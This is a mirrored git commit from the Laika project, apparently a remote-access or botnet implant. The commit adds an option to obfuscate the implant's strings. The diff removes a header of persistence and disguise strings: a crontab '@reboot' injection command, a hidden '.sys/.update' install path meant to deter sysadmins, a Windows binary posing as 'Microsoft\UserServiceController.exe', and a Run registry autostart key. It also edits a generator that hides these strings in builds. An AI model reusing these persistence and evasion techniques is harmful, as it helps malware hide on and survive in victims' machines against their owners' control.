mirror of
https://github.com/CPunch/Laika.git
synced 2025-10-13 19:20:10 +00:00
added 'LAIKA_OBFUSCATE' cmake option
- if defined, enables LAIKA_BOX obfuscation for variables - new macros (LAIKA_BOX_SKID_START & LAIKA_BOX_SKID_END), become no-ops if LAIKA_OBFUSCATE is undefined - TODO: use cmake to automate the generation of lboxconfig.h
This commit is contained in:
@@ -1,29 +0,0 @@
|
||||
#ifndef LAIKA_BOXGEN_STRING_H
|
||||
#define LAIKA_BOXGEN_STRING_H
|
||||
|
||||
/* =============================================[[ Linux Strings ]]============================================== */
|
||||
|
||||
/* we want a semi-random file lock that is stable between similar builds,
|
||||
* so we use the GIT_VERSION as our file lock :D */
|
||||
#define LAIKA_LIN_LOCK_FILE "/tmp/" LAIKA_VERSION_COMMIT
|
||||
|
||||
/* most sysadmins probably wouldn't dare remove something named '.sys/.update' */
|
||||
#define LAIKA_LIN_INSTALL_DIR ".sys"
|
||||
#define LAIKA_LIN_INSTALL_FILE ".update"
|
||||
|
||||
#define LAIKA_LIN_CRONTAB_ENTRY "(crontab -l ; echo \"@reboot %s\")| crontab -"
|
||||
|
||||
/* ============================================[[ Windows Strings ]]============================================= */
|
||||
|
||||
/* we want a semi-random mutex that is stable between similar builds,
|
||||
* so we use the GIT_VERSION as our mutex :D */
|
||||
#define LAIKA_WIN_MUTEX LAIKA_VERSION_COMMIT ".0"
|
||||
|
||||
/* looks official enough */
|
||||
#define LAIKA_WIN_INSTALL_DIR "Microsoft"
|
||||
#define LAIKA_WIN_INSTALL_FILE "UserServiceController.exe"
|
||||
|
||||
#define LAIKA_WIN_REG_KEY "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
|
||||
#define LAIKA_WIN_REG_VAL "UserServiceController"
|
||||
|
||||
#endif
|
@@ -8,8 +8,6 @@
|
||||
#include "lbox.h"
|
||||
#include "lsodium.h"
|
||||
|
||||
#include "boxstrings.h"
|
||||
|
||||
#define ERR(...) do { printf(__VA_ARGS__); exit(EXIT_FAILURE); } while(0);
|
||||
#define RANDBYTE (rand() % UINT8_MAX)
|
||||
|
||||
@@ -58,8 +56,8 @@ void makeSKIDdata(char *data, int sz, uint8_t *buff, int key) {
|
||||
#define MAKESKIDDATA(macro) \
|
||||
key = RANDBYTE; \
|
||||
makeSKIDdata(macro, strlen(macro), tmpBuff, key); \
|
||||
writeDefineVal(out, #macro "_KEY", key); \
|
||||
writeDefineArray(out, #macro "_DATA", tmpBuff);
|
||||
writeDefineVal(out, "KEY_" #macro, key); \
|
||||
writeDefineArray(out, "DATA_" #macro, tmpBuff);
|
||||
|
||||
int main(int argv, char **argc) {
|
||||
uint8_t tmpBuff[LAIKA_VM_CODESIZE];
|
||||
|
Reference in New Issue
Block a user